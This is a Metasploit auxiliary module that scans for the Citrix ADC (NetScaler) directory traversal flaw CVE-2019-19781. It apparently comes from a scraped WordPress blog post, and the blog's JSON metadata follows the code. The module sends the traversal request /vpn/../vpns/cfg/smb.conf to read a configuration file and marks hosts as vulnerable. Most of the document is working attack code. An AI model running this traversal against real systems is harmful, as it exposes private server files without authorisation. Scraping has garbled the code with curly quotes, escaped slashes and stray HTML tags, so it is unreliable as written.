##
# This module requires Metasploit: https:\/\/metasploit.com\/download
# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
##<\/p>\n
class MetasploitModule < Msf::Auxiliary<\/p>\n
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report<\/p>\n
def initialize(info = {})
super(update_info(info,
‘Name’ => ‘Citrix ADC (NetScaler) Directory Traversal Scanner’,
‘Description’ => %{
This module exploits a directory traversal vulnerability (CVE-2019-19781) within Citrix ADC
(NetScaler). It requests the smb.conf file located in the \/vpns\/cfg directory by issuing the request
\/vpn\/..\/vpns\/cfg\/smb.conf. It then checks if the server is vulnerable by looking for the presence of
a “[global]” directive in smb.conf, which this file should always contain.
},
‘Author’ => [
‘Mikhail Klyuchnikov’, # Discovery
‘Erik Wynter’, # Module (@wyntererik)
‘altonjx’ # Module (@altonjx)
],
‘References’ => [
[‘CVE’, ‘2019-19781’],
[‘URL’, ‘https:\/\/web.archive.org\/web\/20200111095223\/https:\/\/support.citrix.com\/article\/CTX267027\/’],
[‘URL’, ‘https:\/\/swarm.ptsecurity.com\/remote-code-execution-in-citrix-adc\/’]],
‘DisclosureDate’ => ‘2019-12-17’,
‘License’ => MSF_LICENSE,
‘Notes’ => {
‘AKA’ => [‘Shitrix’]}
))<\/p>\n
register_options([
OptString.new(‘TARGETURI’, [true, ‘Base path’, ‘\/’]),
OptString.new(‘PATH’, [true, ‘Traversal path’, ‘\/vpn\/..\/vpns\/cfg\/smb.conf’])
])
end<\/p>\n
def run_host(target_host)
turi = normalize_uri(target_uri.path, datastore[‘PATH’])<\/p>\n
res = send_request_cgi(
‘method’ => ‘GET’,
‘uri’ => turi
)<\/p>\n
unless res
print_error(“#{full_uri(turi)} – No response, target seems down.”)<\/p>\n
return Exploit::CheckCode::Unknown
end<\/p>\n
unless res.code == 200
print_error(“#{full_uri(turi)} – The target is not vulnerable to CVE-2019-19781.”)
vprint_error(“Obtained HTTP response code #{res.code} for #{full_uri(turi)}.”)<\/p>\n
return Exploit::CheckCode::Safe
end<\/p>\n
if turi.end_with?(‘smb.conf’)
unless res.headers[‘Content-Type’].starts_with?(‘text\/plain’) && res.body.match(\/\\[\\s*global\\s*\\]\/)
vprint_warning(“#{turi} does not contain \\”[global]\\” directive.”)
end
end<\/p>\n
print_good(“#{full_uri(turi)} – The target is vulnerable to CVE-2019-19781.”)
msg = “Obtained HTTP response code #{res.code} for #{full_uri(turi)}. ” \\
“This means that access to #{turi} was obtained via directory traversal.”
vprint_good(msg)<\/p>\n
report_vuln(
host: target_host,
name: name,
refs: references,
info: msg
)<\/p>\n
Exploit::CheckCode::Vulnerable
end<\/p>\n
end<\/p>\n","protected":false},"excerpt":{"rendered":"
### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Scannerinclude Msf::Auxiliary::Report def initialize(info = {})super(update_info(info,‘Name’ => ‘Citrix ADC (NetScaler) Directory Traversal Scanner’,‘Description’ => %{This module exploits a directory traversal vulnerability (CVE-2019-19781) within Citrix ADC(NetScaler). It requests the smb.conf file located in the \/vpns\/cfg directory by issuing the request\/vpn\/..\/vpns\/cfg\/smb.conf. It …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59341","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59341","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59341"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59341\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59341"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59341"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59341"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}